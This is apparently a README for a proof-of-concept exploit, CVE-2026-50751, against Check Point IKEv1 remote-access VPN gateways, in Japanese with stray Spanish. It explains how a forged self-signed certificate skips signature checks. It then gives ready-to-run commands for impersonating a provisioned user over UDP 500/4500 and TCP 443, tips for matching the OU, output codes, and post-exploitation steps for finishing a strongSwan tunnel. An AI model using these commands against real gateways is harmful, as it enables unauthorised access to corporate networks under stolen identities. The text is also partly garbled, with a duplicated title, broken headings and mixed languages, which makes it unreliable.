
Check PointのRemote-Access VPN(IKEv1)における証明書認証のバイパス。
Check PointのリモートアクセスVPN(IKEv1)における証明書認証のバイパス。
CVE-2026-50751は、Check Pointのikedプロセスにおける認証バイパスであり、ホットフィックスsk185033が適用されていないR81.10、R82、R82.10のバージョンに存在します。この脆弱性により、秘密鍵、パスワード、有効な証明書なしで、プロビジョニングされた任意のリモートアクセスユーザーとして認証することが可能になります。
脆弱なikedはVendor ID VPNExtFeaturesからフラグ(ビット0x4)を読み取り、それが有効になっている場合、verify_peer_auth / verifyMessagePhase1を省略します。その結果:
証明書の署名(所持証明)が検証されない。
信頼チェーンが検証されない。
subject DNがプロビジョニングされたユーザーに解決されることのみが確認される。
CN=が対象ユーザーと一致する自己署名証明書を偽造し、無効な署名とともに送信するだけで十分です。ゲートウェイがフェーズ1を受け入れた場合、そのユーザーとして認証されたことになります(ISAKMP SAはそのDNの下に保存されます)。
これはIKE(UDP 500/4500)およびVisitor Mode(TCPT、TCP 443)上で機能します。
構文
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| フラグ | 説明 | デフォルト |
|---|---|---|
-host | ゲートウェイの IP またはホスト名 (必須) | — |
-user | なりすます RA ユーザー名 (必須) | — |
-port | ポート: 500、4500 (UDP) または 443 (TCPT) | 500 |
-org | ICA の組織 (O=)。省略した場合、ポート 443 のゲートウェイの TLS 証明書から導出される | — |
-ou | ユーザー DN の組織単位 (OU=)。Check Point がユーザーに対して保存している OU と完全に一致する必要がある | users |
-timeout | 操作ごとのタイムアウト (Go の任意の期間指定を受け付ける: 6s、500ms、1m) | 6s |
-retries | ゲートウェイが最初の試行で応答しない場合の msg1 の再試行回数 | 1 |
-tcpt | Visitor Mode トランスポート (TCP 上の TCPT、TLS なし) を強制する。-port 443 の場合は自動的に有効になる | false |
-ouに関する注意: デフォルト値はusersだが、実際には RA ユーザーは通常特定のグループ (例えばVPN_GROUP) に属している。mgmt_cli show user name "<usuario>" details-level "full" --format jsonで確認し、distinguished-nameフィールドを探すこと。OUが正しくないと、DN がプロビジョニング済みのどのユーザーにも解決されないため、ゲートウェイがmsg5を黙って破棄する (NO_RESPONSEまたはINCONCLUSIVE)。
O= の自動導出あり)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
Linux/macOSでは、送信元としてUDPポート500をバインドするためにsudoが必要です。sudoを使用できない場合、PoCはエフェメラルポートにフォールバックし、多くのゲートウェイは送信元ポートが標準でないためパケットを無視します。
ゲートウェイが443でTLS証明書を公開していない場合、または自動的に導出されたO=がプロビジョニングされたユーザーのものと一致しない場合に便利です:
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
-port 443 を指定すると自動的に有効になります:
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
-tcpt で明示的に強制します(ゲートウェイの Visitor Mode が 443 以外のポートで待ち受けている場合に備えます):
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
マシンとゲートウェイ間の NAT を通過するため。PoC は RFC 3948 の NON-ESP マーカーをパケットの先頭に付加します:
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
低速なリンクやレート制限のあるゲートウェイで役立ちます:
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| 出力 | 意味 | 対処方法 |
|---|---|---|
[+] [BYPASSED] + 内部 IP | バイパスが成功し、なりすましたユーザーとして IKEv1 SA が確立された | ポストエクスプロイトのセクションを参照 |
[-] [REJECTED] | ゲートウェイは msg5 を復号したが認証を拒否した | ユーザーがプロビジョニングされていない、OU が誤っている、またはゲートウェイにパッチが適用されている (sk185033) |
[-] [NO_CERT_REALM] | ゲートウェイが Main Mode で証明書認証を提供していない | ゲートウェイが Certificate/Mixed モードではない、または IKEv2 のみを受け付ける |
[-] [NO_RESPONSE] | msg1 への応答がない | ファイアウォールが UDP/500 をブロックしている、iked が動作していない、またはレート制限 |
[!] [INCONCLUSIVE] | 決定的な応答がない | 数分後に再試行する。tcpdump と iked のログを確認する |
[BYPASSED] が得られると、PoC は完全な IKEv1 セキュリティアソシエーションを確立し、ゲートウェイは Remote Access プールの仮想 IP を割り当てている。ゲートウェイの観点から見ると、あなたは企業ネットワーク内でなりすましたユーザーである。
ただし、PoC は使用可能なデータトンネルを提供しない (Quick Mode / IPsec ESP を実装していない)。ネットワーク上の位置を活用するにはフェーズ 2 を完了する必要がある。これは以下によって実現できる:
strongSwan または OpenVPN: クライアントが偽造された DN を持つ証明書を使用するよう設定し、バイパス後に Quick Mode をネゴシエートする。VID を注入し、クライアント側の署名検証をスキップするためにフローを変更する必要がある。Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │